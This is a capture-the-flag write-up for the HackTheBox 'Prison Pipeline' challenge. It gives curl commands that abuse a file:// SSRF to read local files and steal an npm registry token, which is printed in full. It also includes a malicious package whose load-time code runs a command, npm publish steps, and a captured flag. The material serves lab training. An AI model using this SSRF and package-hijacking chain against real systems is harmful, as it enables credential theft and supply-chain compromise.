webfreemedium

Prison Pipeline

hackthebox_business_ctf_2024

Task: abuse an SSRF in node-libcurl-backed prisoner import to read local files and steal the private Verdaccio token. Solution: publish a compatible malicious prisoner-db update through a local Host-header proxy, let cron install it, then read the written flag back through file:// SSRF.

$ ls tags/ techniques/
ssrf_file_readnpm_package_hijackingverdaccio_token_reusemodule_load_rce

Prison Pipeline — HackTheBox Business CTF 2024

One of our crew members has been captured by mutant raiders and is locked away in their heavily fortified prison. During an initial reconnaissance, the crew managed to gain access to the prison's record management system. Your mission: exploit this system to infiltrate the prison's network and disable the defenses for the rescuers.

Summary

Although the original challenge was placed under misc, the reliable solve path is best understood as a web + supply-chain challenge: a web SSRF leaks registry credentials, then a private npm package update yields code execution.

The accurate exploitation chain is:

  1. POST /api/prisoners/import is SSRF via node-libcurl.
  2. file:// works, so local files are readable.
  3. file:///home/node/.npmrc leaks the Verdaccio auth token.
  4. Publish a newer prisoner-db package version to the private registry.
  5. Cron runs npm outdated/update prisoner-db against localhost:4873 and restarts the app.
  6. Malicious top-level package code runs on module load, calls /readflag, and writes the result to /app/prisoner-repository/FLAG.txt.
  7. Read that file back through the same SSRF using file:///app/prisoner-repository/FLAG.txt.

Analysis

1. SSRF in /api/prisoners/import

The application imports prisoner data from a user-supplied URL. The underlying package uses node-libcurl, so this is not just HTTP SSRF: file:// also works.

That makes local file reads trivial:

curl -s -X POST 'http://TARGET:1337/api/prisoners/import' \ -H 'Content-Type: application/json' \ -d '{"url":"file:///etc/passwd"}'

The endpoint returns a prisoner id. Fetching that record shows the raw imported content.

2. Stealing the private npm token

The useful target is /home/node/.npmrc:

curl -s -X POST 'http://TARGET:1337/api/prisoners/import' \ -H 'Content-Type: application/json' \ -d '{"url":"file:///home/node/.npmrc"}'

The leaked token was:

//localhost:4873/:_authToken="MWZlMmI1OTRiZjMwNTJkMjYwNWZhYTE1NGJlNTVjZDQ6OGRjNDBlMDE3YWNhYjViYzEwM2RlOTQzYzg3OWZiN2YwY2EyZGI5ZmMwMGI4ZWViZWVhZmUzZjc0Y2I2MWFiOTZmNWI1OWVhNTg0N2IwZmIwZQ=="

This is enough to authenticate to Verdaccio.

3. Why the proxy method is the reliable one

The registry is exposed through nginx virtual-host routing, but the cron job itself talks to http://localhost:4873. The operationally clean solution is to run the provided local proxy:

/Users/sergeyskorobogatov/Projects/Agents/CTF/tasks/hackthebox/prison_pipeline/proxy.py

It listens on 127.0.0.1:4873 and forwards requests to the remote instance while forcing:

Host: registry.prison-pipeline.htb

This is better than editing /etc/hosts because it:

  • needs no sudo
  • avoids system-wide resolver changes
  • matches the registry hostname requirement explicitly
  • works directly with npm publish --registry http://127.0.0.1:4873

So /etc/hosts changes are optional, not required.

4. Cron-driven supply-chain execution

The challenge cron job periodically checks whether prisoner-db is outdated, updates it from localhost:4873, then restarts the app. If we can publish [email protected], our code will be installed automatically.

The important detail is compatibility. A minimal fake package is not enough. The application expects the original module shape and dependencies, including:

  • curl.js
  • node-libcurl
  • js-yaml
  • a working Database export

If those are removed or stubbed too aggressively, the app can fail on restart and the exploit path becomes unreliable.

Solution

Step 1 — Start the local proxy

python3 /Users/sergeyskorobogatov/Projects/Agents/CTF/tasks/hackthebox/prison_pipeline/proxy.py

Prepare a local .npmrc for publishing through the proxy:

//127.0.0.1:4873/:_authToken="MWZlMmI1OTRiZjMwNTJkMjYwNWZhYTE1NGJlNTVjZDQ6OGRjNDBlMDE3YWNhYjViYzEwM2RlOTQzYzg3OWZiN2YwY2EyZGI5ZmMwMGI4ZWViZWVhZmUzZjc0Y2I2MWFiOTZmNWI1OWVhNTg0N2IwZmIwZQ=="

Optional verification:

npm --registry http://127.0.0.1:4873 whoami --userconfig .npmrc

Step 2 — Build a compatible malicious [email protected]

Do not replace the package with a tiny stub. Keep the original structure and only add module-load code.

Minimal working idea for index.js:

const fs = require('fs'); const yaml = require('js-yaml'); const CurlWrapper = require('./curl'); const { execSync } = require('child_process'); try { fs.writeFileSync('/app/prisoner-repository/FLAG.txt', execSync('/readflag').toString()); } catch (e) {} const curl = new CurlWrapper(); class Database { constructor(repository) { this.repository = repository; this.metadata = this.readJSON(repository + '/index.json'); } async importPrisoner(url) { try { const getResponse = await curl.get(url); const xmlData = getResponse.body; const id = `PIP-${Math.floor(100000 + Math.random() * 900000)}`; this.addPrisoner({ id, data: xmlData }); return id; } catch (error) { return false; } } // keep the rest of the original Database methods intact } module.exports = Database;

And package.json must remain compatible while bumping the version:

{ "name": "prisoner-db", "version": "1.0.1", "main": "index.js", "dependencies": { "js-yaml": "^4.1.0", "node-libcurl": "4.0.0" } }

Step 3 — Publish through the proxy

npm publish --registry http://127.0.0.1:4873 --userconfig .npmrc

This is the practical, repeatable path. The older custom PWN: backdoor flow is not needed as the main method.

Step 4 — Wait for cron and app restart

After the new package is available, the challenge cron job detects 1.0.1, runs the update, and restarts the pm2-managed app. Once the app starts and imports the package, the top-level code executes and writes:

/app/prisoner-repository/FLAG.txt

Step 5 — Poll the flag file via SSRF

Keep requesting:

curl -s -X POST 'http://TARGET:1337/api/prisoners/import' \ -H 'Content-Type: application/json' \ -d '{"url":"file:///app/prisoner-repository/FLAG.txt"}'

The response gives a prisoner id such as PIP-123456. Then retrieve it:

curl -s 'http://TARGET:1337/api/prisoners/PIP-123456'

Read the raw field. That contains the flag.

Final Retrieval Notes

On a fresh successful instance, one captured flag was:

HTB{pr1s0n_br34k_w1th_supply_ch41n!_221386c173e04f0ca313b0504e6c50bd}

Only the theme/prefix is stable. The trailing value is per instance, so do not treat the suffix as constant.

Pitfalls

  • Do not make /etc/hosts edits the primary solution; the provided proxy removes that need.
  • Do not present the PWN: command-execution backdoor as the main exploit path; publishing module-load code is simpler and more reliable.
  • Do not replace prisoner-db with an incompatible stub; preserve curl.js, dependencies, and Database behavior so the app still boots.
  • Do not rely on gopher:// here. It is unstable and unnecessary for the clean solve path.
  • Do not expect the flag to appear instantly; wait for cron to update the package and restart the app.

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups